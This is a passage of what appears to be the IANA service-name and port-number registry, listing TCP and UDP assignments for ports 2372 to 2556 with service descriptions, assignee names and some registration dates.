lanmessenger 2372 udp LanMessenger [Garrett_Padera] [Garrett_Padera] 2008-02-01
remographlm 2373 tcp Remograph License Manager [Per_Fahlberg] [Per_Fahlberg] 2009-01-21
2373 udp Reserved
hydra 2374 tcp Hydra RPC [Jacob_Feisley] [Jacob_Feisley] 2009-01-21
2374 udp Reserved
docker 2375 tcp Docker REST API (plain text) [DOCKER] [Christopher_Liljenstolpe] 2014-04-17
2375 udp Reserved
docker-s 2376 tcp Docker REST API (ssl) [DOCKER] [Christopher_Liljenstolpe] 2014-04-17
swarm 2377 tcp RPC interface for Docker [Docker_Inc] [Mike_Goelzer] 2016-12-23
Swarm
2377 udp Reserved
2378 Unassigned
etcd-client 2379 tcp etcd client communication [CoreOS] [Brian_Harrington] 2014-07-09
2379 udp Reserved
etcd-server 2380 tcp etcd server to server [CoreOS] [Brian_Harrington] 2014-07-09
communication
2380 udp Reserved
compaq-https 2381 tcp Compaq HTTPS [Scott_Shaffer] [Scott_Shaffer]
compaq-https 2381 udp Compaq HTTPS [Scott_Shaffer] [Scott_Shaffer]
ms-olap3 2382 tcp Microsoft OLAP
ms-olap3 2382 udp Microsoft OLAP
ms-olap4 2383 tcp Microsoft OLAP [Mosha_Pasumansky] [Mosha_Pasumansky]
ms-olap4 2383 udp Microsoft OLAP [Mosha_Pasumansky] [Mosha_Pasumansky]
sd-request 2384 tcp SD-REQUEST
sd-capacity 2384 udp SD-CAPACITY [Jason_McManus_2] [Jason_McManus_2]
sd-data 2385 tcp SD-DATA [Jason_McManus_2] [Jason_McManus_2]
sd-data 2385 udp SD-DATA [Jason_McManus_2] [Jason_McManus_2]
virtualtape 2386 tcp Virtual Tape
virtualtape 2386 udp Virtual Tape
vsamredirector 2387 tcp VSAM Redirector [Ingo_Franzki] [Ingo_Franzki]
vsamredirector 2387 udp VSAM Redirector [Ingo_Franzki] [Ingo_Franzki]
mynahautostart 2388 tcp MYNAH AutoStart [Thomas_J_Klehr] [Thomas_J_Klehr]
mynahautostart 2388 udp MYNAH AutoStart [Thomas_J_Klehr] [Thomas_J_Klehr]
ovsessionmgr 2389 tcp OpenView Session Mgr [Eric_Pulsipher] [Eric_Pulsipher]
ovsessionmgr 2389 udp OpenView Session Mgr [Eric_Pulsipher] [Eric_Pulsipher]
rsmtp 2390 tcp RSMTP [Geoff_Collyer] [Geoff_Collyer]
rsmtp 2390 udp RSMTP [Geoff_Collyer] [Geoff_Collyer]
3com-net-mgmt 2391 tcp 3COM Net Management [Prathibha_Nagvar] [Prathibha_Nagvar]
3com-net-mgmt 2391 udp 3COM Net Management [Prathibha_Nagvar] [Prathibha_Nagvar]
tacticalauth 2392 tcp Tactical Auth [David_Yon] [David_Yon]
tacticalauth 2392 udp Tactical Auth [David_Yon] [David_Yon]
ms-olap1 2393 tcp MS OLAP 1
ms-olap1 2393 udp MS OLAP 1
ms-olap2 2394 tcp MS OLAP 2 [Mosha_Pasumansky] [Mosha_Pasumansky]
ms-olap2 2394 udp MS OLAP 2 [Mosha_Pasumansky] [Mosha_Pasumansky]
LAN900 Remote
lan900-remote 2395 tcp IANA assigned this [Tom_Quinlan] [Tom_Quinlan]
well-formed service name as
a replacement for
"lan900_remote".
This entry is an alias to "lan900-remote". This entry is now
lan900_remote 2395 tcp LAN900 Remote [Tom_Quinlan] [Tom_Quinlan] historic, not usable for use with many common service
discovery mechanisms.
LAN900 Remote
lan900-remote 2395 udp IANA assigned this [Tom_Quinlan] [Tom_Quinlan]
well-formed service name as
a replacement for
"lan900_remote".
This entry is an alias to "lan900-remote". This entry is now
lan900_remote 2395 udp LAN900 Remote [Tom_Quinlan] [Tom_Quinlan] historic, not usable for use with many common service
discovery mechanisms.
wusage 2396 tcp Wusage [Thomas_Boutell] [Thomas_Boutell]
wusage 2396 udp Wusage [Thomas_Boutell] [Thomas_Boutell]
ncl 2397 tcp NCL [Robert_Wiebe] [Robert_Wiebe]
ncl 2397 udp NCL [Robert_Wiebe] [Robert_Wiebe]
orbiter 2398 tcp Orbiter [David_Goldberg] [David_Goldberg]
orbiter 2398 udp Orbiter [David_Goldberg] [David_Goldberg]
fmpro-fdal 2399 tcp FileMaker, Inc. - Data [Clay_Maeckal] [Clay_Maeckal]
Access Layer
fmpro-fdal 2399 udp FileMaker, Inc. - Data [Clay_Maeckal] [Clay_Maeckal]
Access Layer
opequus-server 2400 tcp OpEquus Server [Gavin_Hutchinson_2] [Gavin_Hutchinson_2]
opequus-server 2400 udp OpEquus Server [Gavin_Hutchinson_2] [Gavin_Hutchinson_2]
cvspserver 2401 tcp cvspserver [Jim_Kingdon] [Jim_Kingdon]
cvspserver 2401 udp cvspserver [Jim_Kingdon] [Jim_Kingdon]
taskmaster2000 2402 tcp TaskMaster 2000 Server
taskmaster2000 2402 udp TaskMaster 2000 Server
taskmaster2000 2403 tcp TaskMaster 2000 Web [Ed_Odjaghian] [Ed_Odjaghian]
taskmaster2000 2403 udp TaskMaster 2000 Web [Ed_Odjaghian] [Ed_Odjaghian]
iec-104 2404 tcp IEC 60870-5-104 process [Walter_K_Eichelburg] [Walter_K_Eichelburg]
control over IP
iec-104 2404 udp IEC 60870-5-104 process [Walter_K_Eichelburg] [Walter_K_Eichelburg]
control over IP
trc-netpoll 2405 tcp TRC Netpoll [Bizhan_Ghavami] [Bizhan_Ghavami]
trc-netpoll 2405 udp TRC Netpoll [Bizhan_Ghavami] [Bizhan_Ghavami]
jediserver 2406 tcp JediServer [Paul_McEntire] [Paul_McEntire]
jediserver 2406 udp JediServer [Paul_McEntire] [Paul_McEntire]
orion 2407 tcp Orion [Matthew_Horoschun] [Matthew_Horoschun]
orion 2407 udp Orion [Matthew_Horoschun] [Matthew_Horoschun]
railgun-webaccl 2408 tcp CloudFlare Railgun Web [CloudFlare] [John_Graham_Cumming] 2012-03-09
Acceleration Protocol
2408 udp Reserved 2012-03-09 This entry is being removed on 2012-03-09.
sns-protocol 2409 tcp SNS Protocol [Amir_Blich] [Amir_Blich]
sns-protocol 2409 udp SNS Protocol [Amir_Blich] [Amir_Blich]
vrts-registry 2410 tcp VRTS Registry [Pranay_Varma] [Pranay_Varma]
vrts-registry 2410 udp VRTS Registry [Pranay_Varma] [Pranay_Varma]
netwave-ap-mgmt 2411 tcp Netwave AP Management [Johnny_Zweig] [Johnny_Zweig]
netwave-ap-mgmt 2411 udp Netwave AP Management [Johnny_Zweig] [Johnny_Zweig]
cdn 2412 tcp CDN [Alan_Noble] [Alan_Noble]
cdn 2412 udp CDN [Alan_Noble] [Alan_Noble]
orion-rmi-reg 2413 tcp orion-rmi-reg [J_S_Greenfield_2] [J_S_Greenfield_2]
orion-rmi-reg 2413 udp orion-rmi-reg [J_S_Greenfield_2] [J_S_Greenfield_2]
beeyond 2414 tcp Beeyond [Bob_Deblier] [Bob_Deblier]
beeyond 2414 udp Beeyond [Bob_Deblier] [Bob_Deblier]
codima-rtp 2415 tcp Codima Remote Transaction [Sylvia_Ross] [Sylvia_Ross]
Protocol
codima-rtp 2415 udp Codima Remote Transaction [Sylvia_Ross] [Sylvia_Ross]
Protocol
rmtserver 2416 tcp RMT Server [Yvon_Marineau] [Yvon_Marineau]
rmtserver 2416 udp RMT Server [Yvon_Marineau] [Yvon_Marineau]
composit-server 2417 tcp Composit Server [Katsuaki_Naoi] [Katsuaki_Naoi]
composit-server 2417 udp Composit Server [Katsuaki_Naoi] [Katsuaki_Naoi]
cas 2418 tcp cas [Akiyoshi_Ochi] [Akiyoshi_Ochi]
cas 2418 udp cas [Akiyoshi_Ochi] [Akiyoshi_Ochi]
attachmate-s2s 2419 tcp Attachmate S2S [Chris_Rominski] [Chris_Rominski]
attachmate-s2s 2419 udp Attachmate S2S [Chris_Rominski] [Chris_Rominski]
dslremote-mgmt 2420 tcp DSL Remote Management [Westell] [Westell]
dslremote-mgmt 2420 udp DSL Remote Management [Westell] [Westell]
g-talk 2421 tcp G-Talk [Matt_Hammond] [Matt_Hammond]
g-talk 2421 udp G-Talk [Matt_Hammond] [Matt_Hammond]
crmsbits 2422 tcp CRMSBITS [Rod_Ward] [Rod_Ward]
crmsbits 2422 udp CRMSBITS [Rod_Ward] [Rod_Ward]
rnrp 2423 tcp RNRP [Per_Sahlqvist] [Per_Sahlqvist]
rnrp 2423 udp RNRP [Per_Sahlqvist] [Per_Sahlqvist]
kofax-svr 2424 tcp KOFAX-SVR [Steven_Kilby] [Steven_Kilby] 2011-04-25
kofax-svr 2424 udp KOFAX-SVR [Steven_Kilby] [Steven_Kilby] 2011-04-25
fjitsuappmgr 2425 tcp Fujitsu App Manager [Hiroyuki_Kawabuchi] [Hiroyuki_Kawabuchi]
fjitsuappmgr 2425 udp Fujitsu App Manager [Hiroyuki_Kawabuchi] [Hiroyuki_Kawabuchi]
vcmp 2426 tcp VeloCloud MultiPath Protocol [VeloCloud_Networks] [Tim_Van_Herck] 2014-11-13 This port was previously removed on 2002-04-29.
vcmp 2426 udp VeloCloud MultiPath Protocol [VeloCloud_Networks] [Tim_Van_Herck] 2014-11-13 This port was previously removed on 2002-04-29.
mgcp-gateway 2427 tcp Media Gateway Control [Christian_Huitema] [Christian_Huitema]
Protocol Gateway
mgcp-gateway 2427 udp Media Gateway Control [Christian_Huitema] [Christian_Huitema]
Protocol Gateway
ott 2428 tcp One Way Trip Time [Greg_Troxel] [Greg_Troxel]
ott 2428 udp One Way Trip Time [Greg_Troxel] [Greg_Troxel]
ft-role 2429 tcp FT-ROLE [Doug_Boone] [Doug_Boone]
ft-role 2429 udp FT-ROLE [Doug_Boone] [Doug_Boone]
venus 2430 tcp venus
venus 2430 udp venus
venus-se 2431 tcp venus-se
venus-se 2431 udp venus-se
codasrv 2432 tcp codasrv
codasrv 2432 udp codasrv
codasrv-se 2433 tcp codasrv-se [Robert_Watson] [Robert_Watson]
codasrv-se 2433 udp codasrv-se [Robert_Watson] [Robert_Watson]
pxc-epmap 2434 tcp pxc-epmap [Jun_Nakamura] [Jun_Nakamura]
pxc-epmap 2434 udp pxc-epmap [Jun_Nakamura] [Jun_Nakamura]
optilogic 2435 tcp OptiLogic [Clark_Williams] [Clark_Williams]
optilogic 2435 udp OptiLogic [Clark_Williams] [Clark_Williams]
topx 2436 tcp TOP/X [Dragos_Pop] [Dragos_Pop]
topx 2436 udp TOP/X [Dragos_Pop] [Dragos_Pop]
unicontrol 2437 tcp UniControl [Ing_Markus_Huemer] [Ing_Markus_Huemer]
unicontrol 2437 udp UniControl [Ing_Markus_Huemer] [Ing_Markus_Huemer]
msp 2438 tcp MSP [Evan_Caves] [Evan_Caves]
msp 2438 udp MSP [Evan_Caves] [Evan_Caves]
sybasedbsynch 2439 tcp SybaseDBSynch [Dave_Neudoerffer] [Dave_Neudoerffer]
sybasedbsynch 2439 udp SybaseDBSynch [Dave_Neudoerffer] [Dave_Neudoerffer]
spearway 2440 tcp Spearway Lockers [Pierre_Frisch] [Pierre_Frisch]
spearway 2440 udp Spearway Lockers [Pierre_Frisch] [Pierre_Frisch]
pvsw-inet 2441 tcp Pervasive I*net Data Server [Chuck_Talk] [Chuck_Talk]
pvsw-inet 2441 udp Pervasive I*net Data Server [Chuck_Talk] [Chuck_Talk]
netangel 2442 tcp Netangel [Ladislav_Baranyay] [Ladislav_Baranyay]
netangel 2442 udp Netangel [Ladislav_Baranyay] [Ladislav_Baranyay]
powerclientcsf 2443 tcp PowerClient Central Storage [Brian_Klassen] [Brian_Klassen]
Facility
powerclientcsf 2443 udp PowerClient Central Storage [Brian_Klassen] [Brian_Klassen]
Facility
btpp2sectrans 2444 tcp BT PP2 Sectrans [Ian_Daniels] [Ian_Daniels]
btpp2sectrans 2444 udp BT PP2 Sectrans [Ian_Daniels] [Ian_Daniels]
dtn1 2445 tcp DTN1 [Bob_Gaddie] [Bob_Gaddie]
dtn1 2445 udp DTN1 [Bob_Gaddie] [Bob_Gaddie]
bues_service
bues-service 2446 tcp IANA assigned this [Leonhard_Diekmann] [Leonhard_Diekmann]
well-formed service name as
a replacement for
"bues_service".
This entry is an alias to "bues-service". This entry is now
bues_service 2446 tcp bues_service [Leonhard_Diekmann] [Leonhard_Diekmann] historic, not usable for use with many common service
discovery mechanisms.
bues_service
bues-service 2446 udp IANA assigned this [Leonhard_Diekmann] [Leonhard_Diekmann]
well-formed service name as
a replacement for
"bues_service".
This entry is an alias to "bues-service". This entry is now
bues_service 2446 udp bues_service [Leonhard_Diekmann] [Leonhard_Diekmann] historic, not usable for use with many common service
discovery mechanisms.
ovwdb 2447 tcp OpenView NNM daemon [Eric_Pulsipher_2] [Eric_Pulsipher_2]
ovwdb 2447 udp OpenView NNM daemon [Eric_Pulsipher_2] [Eric_Pulsipher_2]
hpppssvr 2448 tcp hpppsvr [Bridgette_Landers] [Bridgette_Landers]
hpppssvr 2448 udp hpppsvr [Bridgette_Landers] [Bridgette_Landers]
ratl 2449 tcp RATL [Paul_Greenfield] [Paul_Greenfield]
ratl 2449 udp RATL [Paul_Greenfield] [Paul_Greenfield]
netadmin 2450 tcp netadmin
netadmin 2450 udp netadmin
netchat 2451 tcp netchat [Julian_Mehnle] [Julian_Mehnle]
netchat 2451 udp netchat [Julian_Mehnle] [Julian_Mehnle]
snifferclient 2452 tcp SnifferClient [Amy_Weaver_2] [Amy_Weaver_2]
snifferclient 2452 udp SnifferClient [Amy_Weaver_2] [Amy_Weaver_2]
madge-ltd 2453 tcp madge ltd [Mark_Lyall] [Mark_Lyall]
madge-ltd 2453 udp madge ltd [Mark_Lyall] [Mark_Lyall]
indx-dds 2454 tcp IndX-DDS [Paul_Carmichael] [Paul_Carmichael]
indx-dds 2454 udp IndX-DDS [Paul_Carmichael] [Paul_Carmichael]
wago-io-system 2455 tcp WAGO-IO-SYSTEM [Jorg_Hoffmann] [Jorg_Hoffmann]
wago-io-system 2455 udp WAGO-IO-SYSTEM [Jorg_Hoffmann] [Jorg_Hoffmann]
altav-remmgt 2456 tcp altav-remmgt [Gary_M_Allen] [Gary_M_Allen]
altav-remmgt 2456 udp altav-remmgt [Gary_M_Allen] [Gary_M_Allen]
rapido-ip 2457 tcp Rapido_IP [Man_Shuen_Cheung] [Man_Shuen_Cheung]
rapido-ip 2457 udp Rapido_IP [Man_Shuen_Cheung] [Man_Shuen_Cheung]
griffin 2458 tcp griffin [Tom_Taylor] [Tom_Taylor]
griffin 2458 udp griffin [Tom_Taylor] [Tom_Taylor]
community 2459 tcp Community [David_Schwartz] [David_Schwartz]
community 2459 udp Community [David_Schwartz] [David_Schwartz]
ms-theater 2460 tcp ms-theater [Anton_Kucer] [Anton_Kucer]
ms-theater 2460 udp ms-theater [Anton_Kucer] [Anton_Kucer]
qadmifoper 2461 tcp qadmifoper
qadmifoper 2461 udp qadmifoper
qadmifevent 2462 tcp qadmifevent [Pekka_Takaranta] [Pekka_Takaranta]
qadmifevent 2462 udp qadmifevent [Pekka_Takaranta] [Pekka_Takaranta]
lsi-raid-mgmt 2463 tcp LSI RAID Management [NetApp] [MSW_architecture_team] 2014-07-18
lsi-raid-mgmt 2463 udp LSI RAID Management [NetApp] [MSW_architecture_team] 2014-07-18
direcpc-si 2464 tcp DirecPC SI [Doug_Dillon] [Doug_Dillon]
direcpc-si 2464 udp DirecPC SI [Doug_Dillon] [Doug_Dillon]
lbm 2465 tcp Load Balance Management
lbm 2465 udp Load Balance Management
lbf 2466 tcp Load Balance Forwarding [Kazuhiro_Koide] [Kazuhiro_Koide]
lbf 2466 udp Load Balance Forwarding [Kazuhiro_Koide] [Kazuhiro_Koide]
high-criteria 2467 tcp High Criteria [Konstantin_Iavid] [Konstantin_Iavid]
high-criteria 2467 udp High Criteria [Konstantin_Iavid] [Konstantin_Iavid]
qip-msgd 2468 tcp qip_msgd [Mike_Morgan] [Mike_Morgan]
qip-msgd 2468 udp qip_msgd [Mike_Morgan] [Mike_Morgan]
mti-tcs-comm 2469 tcp MTI-TCS-COMM [Mario_Bonin] [Mario_Bonin]
mti-tcs-comm 2469 udp MTI-TCS-COMM [Mario_Bonin] [Mario_Bonin]
taskman-port 2470 tcp taskman port [Boris_Panteleev] [Boris_Panteleev]
taskman-port 2470 udp taskman port [Boris_Panteleev] [Boris_Panteleev]
seaodbc 2471 tcp SeaODBC [Adrian_Hornby] [Adrian_Hornby]
seaodbc 2471 udp SeaODBC [Adrian_Hornby] [Adrian_Hornby]
c3 2472 tcp C3 [Eckhard_Grieger] [Eckhard_Grieger]
c3 2472 udp C3 [Eckhard_Grieger] [Eckhard_Grieger]
aker-cdp 2473 tcp Aker-cdp [Rodrigo_Ormonde] [Rodrigo_Ormonde]
aker-cdp 2473 udp Aker-cdp [Rodrigo_Ormonde] [Rodrigo_Ormonde]
vitalanalysis 2474 tcp Vital Analysis [Srinivas_Reddy] [Srinivas_Reddy]
vitalanalysis 2474 udp Vital Analysis [Srinivas_Reddy] [Srinivas_Reddy]
ace-server 2475 tcp ACE Server
ace-server 2475 udp ACE Server
ace-svr-prop 2476 tcp ACE Server Propagation
ace-svr-prop 2476 udp ACE Server Propagation
ssm-cvs 2477 tcp SecurSight Certificate
Valifation Service
ssm-cvs 2477 udp SecurSight Certificate
Valifation Service
ssm-cssps 2478 tcp SecurSight Authentication
Server (SSL)
ssm-cssps 2478 udp SecurSight Authentication
Server (SSL)
ssm-els 2479 tcp SecurSight Event Logging [John_Linn] [John_Linn]
Server (SSL)
ssm-els 2479 udp SecurSight Event Logging [John_Linn] [John_Linn]
Server (SSL)
powerexchange 2480 tcp Informatica PowerExchange [Dale_Norman] [Dale_Norman]
Listener
powerexchange 2480 udp Informatica PowerExchange [Dale_Norman] [Dale_Norman]
Listener
giop 2481 tcp Oracle GIOP
giop 2481 udp Oracle GIOP
giop-ssl 2482 tcp Oracle GIOP SSL
giop-ssl 2482 udp Oracle GIOP SSL
ttc 2483 tcp Oracle TTC
ttc 2483 udp Oracle TTC
ttc-ssl 2484 tcp Oracle TTC SSL [Chandar_Venkataraman] [Chandar_Venkataraman]
ttc-ssl 2484 udp Oracle TTC SSL [Chandar_Venkataraman] [Chandar_Venkataraman]
netobjects1 2485 tcp Net Objects1
netobjects1 2485 udp Net Objects1
netobjects2 2486 tcp Net Objects2 [Francois_Granade] [Francois_Granade]
netobjects2 2486 udp Net Objects2 [Francois_Granade] [Francois_Granade]
pns 2487 tcp Policy Notice Service [Akiyoshi_Ochi] [Akiyoshi_Ochi]
pns 2487 udp Policy Notice Service [Akiyoshi_Ochi] [Akiyoshi_Ochi]
moy-corp 2488 tcp Moy Corporation [Gang_Gong_Moy] [Gang_Gong_Moy]
moy-corp 2488 udp Moy Corporation [Gang_Gong_Moy] [Gang_Gong_Moy]
tsilb 2489 tcp TSILB [James_Irwin] [James_Irwin]
tsilb 2489 udp TSILB [James_Irwin] [James_Irwin]
qip-qdhcp 2490 tcp qip_qdhcp [Mike_Morgan] [Mike_Morgan]
qip-qdhcp 2490 udp qip_qdhcp [Mike_Morgan] [Mike_Morgan]
conclave-cpp 2491 tcp Conclave CPP [Larry_Lipstone] [Larry_Lipstone]
conclave-cpp 2491 udp Conclave CPP [Larry_Lipstone] [Larry_Lipstone]
groove 2492 tcp GROOVE [Ray_Ozzie] [Ray_Ozzie]
groove 2492 udp GROOVE [Ray_Ozzie] [Ray_Ozzie]
talarian-mqs 2493 tcp Talarian MQS [Jim_Stabile] [Jim_Stabile]
talarian-mqs 2493 udp Talarian MQS [Jim_Stabile] [Jim_Stabile]
bmc-ar 2494 tcp BMC AR [Portnoy_Boxman] [Portnoy_Boxman]
bmc-ar 2494 udp BMC AR [Portnoy_Boxman] [Portnoy_Boxman]
fast-rem-serv 2495 tcp Fast Remote Services [Scott_St_Clair] [Scott_St_Clair]
fast-rem-serv 2495 udp Fast Remote Services [Scott_St_Clair] [Scott_St_Clair]
dirgis 2496 tcp DIRGIS [Deutschland_Informat] [Deutschland_Informat]
dirgis 2496 udp DIRGIS [Deutschland_Informat] [Deutschland_Informat]
quaddb 2497 tcp Quad DB [Jeff_Rosenthal] [Jeff_Rosenthal]
quaddb 2497 udp Quad DB [Jeff_Rosenthal] [Jeff_Rosenthal]
odn-castraq 2498 tcp ODN-CasTraq [Richard_Hodges_2] [Richard_Hodges_2]
odn-castraq 2498 udp ODN-CasTraq [Richard_Hodges_2] [Richard_Hodges_2]
unicontrol 2499 tcp UniControl [Ing_Markus_Huemer] [Ing_Markus_Huemer]
unicontrol 2499 udp UniControl [Ing_Markus_Huemer] [Ing_Markus_Huemer]
rtsserv 2500 tcp Resource Tracking system
server
rtsserv 2500 udp Resource Tracking system
server
rtsclient 2501 tcp Resource Tracking system [Aubrey_Turner] [Aubrey_Turner]
client
rtsclient 2501 udp Resource Tracking system [Aubrey_Turner] [Aubrey_Turner]
client
kentrox-prot 2502 tcp Kentrox Protocol [Anil_Lakhwara] [Anil_Lakhwara]
kentrox-prot 2502 udp Kentrox Protocol [Anil_Lakhwara] [Anil_Lakhwara]
nms-dpnss 2503 tcp NMS-DPNSS [Jean_Christophe_Desi] [Jean_Christophe_Desi]
nms-dpnss 2503 udp NMS-DPNSS [Jean_Christophe_Desi] [Jean_Christophe_Desi]
wlbs 2504 tcp WLBS [William_Bain] [William_Bain]
wlbs 2504 udp WLBS [William_Bain] [William_Bain]
ppcontrol 2505 tcp PowerPlay Control [Max_Magliaro] [Max_Magliaro] 2004-11
ppcontrol 2505 udp PowerPlay Control [Max_Magliaro] [Max_Magliaro] 2004-11
jbroker 2506 tcp jbroker [Rohit_Garg_2] [Rohit_Garg_2]
jbroker 2506 udp jbroker [Rohit_Garg_2] [Rohit_Garg_2]
spock 2507 tcp spock [Jon_A_Christopher] [Jon_A_Christopher]
spock 2507 udp spock [Jon_A_Christopher] [Jon_A_Christopher]
jdatastore 2508 tcp JDataStore [Tod_Landis] [Tod_Landis]
jdatastore 2508 udp JDataStore [Tod_Landis] [Tod_Landis]
fjmpss 2509 tcp fjmpss [Makoto_Watanabe] [Makoto_Watanabe]
fjmpss 2509 udp fjmpss [Makoto_Watanabe] [Makoto_Watanabe]
fjappmgrbulk 2510 tcp fjappmgrbulk [Hiroyuki_Kawabuchi] [Hiroyuki_Kawabuchi]
fjappmgrbulk 2510 udp fjappmgrbulk [Hiroyuki_Kawabuchi] [Hiroyuki_Kawabuchi]
metastorm 2511 tcp Metastorm [Eric_Isom] [Eric_Isom]
metastorm 2511 udp Metastorm [Eric_Isom] [Eric_Isom]
citrixima 2512 tcp Citrix IMA
citrixima 2512 udp Citrix IMA
citrixadmin 2513 tcp Citrix ADMIN [Myk_Willis] [Myk_Willis]
citrixadmin 2513 udp Citrix ADMIN [Myk_Willis] [Myk_Willis]
facsys-ntp 2514 tcp Facsys NTP
facsys-ntp 2514 udp Facsys NTP
facsys-router 2515 tcp Facsys Router [Jeff_Hoffman] [Jeff_Hoffman]
facsys-router 2515 udp Facsys Router [Jeff_Hoffman] [Jeff_Hoffman]
maincontrol 2516 tcp Main Control [Nathan_Sadia] [Nathan_Sadia]
maincontrol 2516 udp Main Control [Nathan_Sadia] [Nathan_Sadia]
call-sig-trans 2517 tcp H.323 Annex E Call Control [ITU-T] [ITU-T_TSB] 2013-01-31
Signalling Transport
call-sig-trans 2517 udp H.323 Annex E Call Control [ITU-T] [ITU-T_TSB] 2013-01-31
Signalling Transport
willy 2518 tcp Willy [Carl_Johan_Wik] [Carl_Johan_Wik]
willy 2518 udp Willy [Carl_Johan_Wik] [Carl_Johan_Wik]
globmsgsvc 2519 tcp globmsgsvc [David_Wiltz] [David_Wiltz]
globmsgsvc 2519 udp globmsgsvc [David_Wiltz] [David_Wiltz]
pvsw 2520 tcp Pervasive Listener [Chuck_Talk] [Chuck_Talk]
pvsw 2520 udp Pervasive Listener [Chuck_Talk] [Chuck_Talk]
adaptecmgr 2521 tcp Adaptec Manager [Mark_Parenti] [Mark_Parenti]
adaptecmgr 2521 udp Adaptec Manager [Mark_Parenti] [Mark_Parenti]
windb 2522 tcp WinDb [Larry_Traylor] [Larry_Traylor]
windb 2522 udp WinDb [Larry_Traylor] [Larry_Traylor]
qke-llc-v3 2523 tcp Qke LLC V.3 [Joerg_Niehoff] [Joerg_Niehoff]
qke-llc-v3 2523 udp Qke LLC V.3 [Joerg_Niehoff] [Joerg_Niehoff]
optiwave-lm 2524 tcp Optiwave License Management [Slawomir_Krzesinski] [Slawomir_Krzesinski]
optiwave-lm 2524 udp Optiwave License Management [Slawomir_Krzesinski] [Slawomir_Krzesinski]
ms-v-worlds 2525 tcp MS V-Worlds [Pete_Wong] [Pete_Wong]
ms-v-worlds 2525 udp MS V-Worlds [Pete_Wong] [Pete_Wong]
ema-sent-lm 2526 tcp EMA License Manager [Thaddeus_Perala] [Thaddeus_Perala]
ema-sent-lm 2526 udp EMA License Manager [Thaddeus_Perala] [Thaddeus_Perala]
iqserver 2527 tcp IQ Server [Nick_Straguzzi] [Nick_Straguzzi]
iqserver 2527 udp IQ Server [Nick_Straguzzi] [Nick_Straguzzi]
NCR CCL
ncr-ccl 2528 tcp IANA assigned this [Amitava_Dutta] [Amitava_Dutta]
well-formed service name as
a replacement for "ncr_ccl".
This entry is an alias to "ncr-ccl". This entry is now
ncr_ccl 2528 tcp NCR CCL [Amitava_Dutta] [Amitava_Dutta] historic, not usable for use with many common service
discovery mechanisms.
NCR CCL
ncr-ccl 2528 udp IANA assigned this [Amitava_Dutta] [Amitava_Dutta]
well-formed service name as
a replacement for "ncr_ccl".
This entry is an alias to "ncr-ccl". This entry is now
ncr_ccl 2528 udp NCR CCL [Amitava_Dutta] [Amitava_Dutta] historic, not usable for use with many common service
discovery mechanisms.
utsftp 2529 tcp UTS FTP [David_Moore] [David_Moore]
utsftp 2529 udp UTS FTP [David_Moore] [David_Moore]
vrcommerce 2530 tcp VR Commerce [Yosi_Mass] [Yosi_Mass]
vrcommerce 2530 udp VR Commerce [Yosi_Mass] [Yosi_Mass]
ito-e-gui 2531 tcp ITO-E GUI [Michael_Haeuptle] [Michael_Haeuptle]
ito-e-gui 2531 udp ITO-E GUI [Michael_Haeuptle] [Michael_Haeuptle]
ovtopmd 2532 tcp OVTOPMD [Eric_Pulsipher] [Eric_Pulsipher]
ovtopmd 2532 udp OVTOPMD [Eric_Pulsipher] [Eric_Pulsipher]
snifferserver 2533 tcp SnifferServer [Amy_Weaver_3] [Amy_Weaver_3]
snifferserver 2533 udp SnifferServer [Amy_Weaver_3] [Amy_Weaver_3]
combox-web-acc 2534 tcp Combox Web Access [Yochai_Cohen] [Yochai_Cohen]
combox-web-acc 2534 udp Combox Web Access [Yochai_Cohen] [Yochai_Cohen]
madcap 2535 tcp MADCAP [Stephen_Hanna_2] [Stephen_Hanna_2]
madcap 2535 udp MADCAP [Stephen_Hanna_2] [Stephen_Hanna_2]
btpp2audctr1 2536 tcp btpp2audctr1 [Ian_Daniels] [Ian_Daniels]
btpp2audctr1 2536 udp btpp2audctr1 [Ian_Daniels] [Ian_Daniels]
upgrade 2537 tcp Upgrade Protocol [Breck_Auten] [Breck_Auten]
upgrade 2537 udp Upgrade Protocol [Breck_Auten] [Breck_Auten]
vnwk-prapi 2538 tcp vnwk-prapi [John_Hasselkus] [John_Hasselkus]
vnwk-prapi 2538 udp vnwk-prapi [John_Hasselkus] [John_Hasselkus]
vsiadmin 2539 tcp VSI Admin [Rob_Juergens] [Rob_Juergens]
vsiadmin 2539 udp VSI Admin [Rob_Juergens] [Rob_Juergens]
lonworks 2540 tcp LonWorks
lonworks 2540 udp LonWorks
lonworks2 2541 tcp LonWorks2 [Gary_Bartlett] [Gary_Bartlett]
lonworks2 2541 udp LonWorks2 [Gary_Bartlett] [Gary_Bartlett]
udrawgraph 2542 tcp uDraw(Graph) [Bremen] [Bremen]
udrawgraph 2542 udp uDraw(Graph) [Bremen] [Bremen]
reftek 2543 tcp REFTEK [Phil_Davidson] [Phil_Davidson]
reftek 2543 udp REFTEK [Phil_Davidson] [Phil_Davidson]
novell-zen 2544 tcp Management Daemon Refresh [Ty_Ellis] [Ty_Ellis]
novell-zen 2544 udp Management Daemon Refresh [Ty_Ellis] [Ty_Ellis]
sis-emt 2545 tcp sis-emt [Bill_Crawford] [Bill_Crawford]
sis-emt 2545 udp sis-emt [Bill_Crawford] [Bill_Crawford]
vytalvaultbrtp 2546 tcp vytalvaultbrtp
vytalvaultbrtp 2546 udp vytalvaultbrtp
vytalvaultvsmp 2547 tcp vytalvaultvsmp
vytalvaultvsmp 2547 udp vytalvaultvsmp
vytalvaultpipe 2548 tcp vytalvaultpipe [Tim_Boldt] [Tim_Boldt]
vytalvaultpipe 2548 udp vytalvaultpipe [Tim_Boldt] [Tim_Boldt]
ipass 2549 tcp IPASS [Michael_Fischer] [Michael_Fischer]
ipass 2549 udp IPASS [Michael_Fischer] [Michael_Fischer]
ads 2550 tcp ADS [Michael_O_Connor] [Michael_O_Connor]
ads 2550 udp ADS [Michael_O_Connor] [Michael_O_Connor]
isg-uda-server 2551 tcp ISG UDA Server [Dror_Harari] [Dror_Harari]
isg-uda-server 2551 udp ISG UDA Server [Dror_Harari] [Dror_Harari]
call-logging 2552 tcp Call Logging [Dean_Webb] [Dean_Webb]
call-logging 2552 udp Call Logging [Dean_Webb] [Dean_Webb]
efidiningport 2553 tcp efidiningport [Lynn_Carter] [Lynn_Carter]
efidiningport 2553 udp efidiningport [Lynn_Carter] [Lynn_Carter]
vcnet-link-v10 2554 tcp VCnet-Link v10 [Csaba_Mate] [Csaba_Mate]
vcnet-link-v10 2554 udp VCnet-Link v10 [Csaba_Mate] [Csaba_Mate]
compaq-wcp 2555 tcp Compaq WCP [Ferruccio_Barletta] [Ferruccio_Barletta]
compaq-wcp 2555 udp Compaq WCP [Ferruccio_Barletta] [Ferruccio_Barletta]
nicetec-nmsvc 2556 tcp nicetec-nmsvc
